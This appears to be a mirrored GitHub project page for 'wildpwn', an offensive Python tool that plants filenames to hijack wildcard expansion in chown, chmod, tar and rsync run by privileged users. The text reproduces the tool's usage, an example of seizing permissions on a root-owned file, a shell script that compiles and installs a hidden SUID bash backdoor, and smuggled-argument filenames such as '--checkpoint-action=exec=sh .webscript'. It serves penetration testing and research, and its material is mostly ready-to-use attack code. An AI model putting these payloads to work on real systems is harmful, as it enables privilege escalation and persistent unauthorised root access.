项目作者: localh0t

项目描述 :
unix wildcard attacks
高级语言: Python
项目地址: git://github.com/localh0t/wildpwn.git
创建时间: 2015-06-29T01:13:37Z
项目社区:https://github.com/localh0t/wildpwn

开源协议:GNU General Public License v3.0

下载


First things first!

Read: https://www.exploit-db.com/papers/33930/


Basic usage

It goes something like this:

  1. usage: wildpwn.py [-h] [--file FILE] payload folder
  2. Tool to generate unix wildcard attacks
  3. positional arguments:
  4. payload Payload to use: (combined | tar | rsync)
  5. folder Where to write the payloads
  6. optional arguments:
  7. -h, --help show this help message and exit
  8. --file FILE Path to file for taking ownership / change permissions. Use it
  9. with combined attack only.


Payload types

  • combined: Uses the chown & chmod file reference tricks, described in section 4.1 and 4.2, combined in a single payload.
  • tar: Uses the Tar arbitrary command execution trick, described in section 4.3.
  • rsync: Uses the Rsync arbitrary command execution trick, described in section 4.4.


Usage example

  1. $ ls -lh /tmp/very_secret_file
  2. -rw-r--r-- 1 root root 2048 jun 28 21:37 /tmp/very_secret_file
  3. $ ls -lh ./pwn_me/
  4. drwxrwxrwx 2 root root 4,0K jun 28 21:38 .
  5. [...]
  6. -rw-rw-r-- 1 root root 1024 jun 28 21:38 secret_file_1
  7. -rw-rw-r-- 1 root root 1024 jun 28 21:38 secret_file_2
  8. [...]
  9. $ python wildpwn.py --file /tmp/very_secret_file combined ./pwn_me/
  10. [!] Selected payload: combined
  11. [+] Done! Now wait for something like: chown uid:gid * (or) chmod [perms] * on ./pwn_me/. Good luck!
  12. [...time passes / some cron gets executed...]
  13. # chmod 000 * (for example)
  14. [...back with the unprivileged user...]
  15. $ ls -lha ./pwn_me/
  16. [...]
  17. -rwxrwxrwx 1 root root 1024 jun 28 21:38 secret_file_1
  18. -rwxrwxrwx 1 root root 1024 jun 28 21:38 secret_file_2
  19. [...]
  20. $ ls -lha /tmp/very_secret_file
  21. -rwxrwxrwx 1 root root 2048 jun 28 21:38 /tmp/very_secret_file


Bash scripts used on tar/rsync attacks

  1. #!/bin/sh
  2. # get current user uid / gid
  3. CURR_UID="$(id -u)"
  4. CURR_GID="$(id -g)"
  5. # save file
  6. cat > .cachefile.c << EOF
  7. #include <stdio.h>
  8. int main()
  9. {
  10. setuid($CURR_UID);
  11. setgid($CURR_GID);
  12. execl("/bin/bash", "-bash", NULL);
  13. return 0;
  14. }
  15. EOF
  16. # make folder where the payload will be saved
  17. mkdir .cache
  18. chmod 755 .cache
  19. # compile & give SUID
  20. gcc -w .cachefile.c -o .cache/.cachefile
  21. chmod 4755 .cache/.cachefile

Clean up (tar)

  1. # clean up
  2. rm -rf ./'--checkpoint=1'
  3. rm -rf ./'--checkpoint-action=exec=sh .webscript'
  4. rm -rf .webscript
  5. rm -rf .cachefile.c

Clean up (rsync)

  1. # clean up
  2. rm -rf ./'-e sh .syncscript'
  3. rm -rf .syncscript
  4. rm -rf .cachefile.c


Feel free to change them!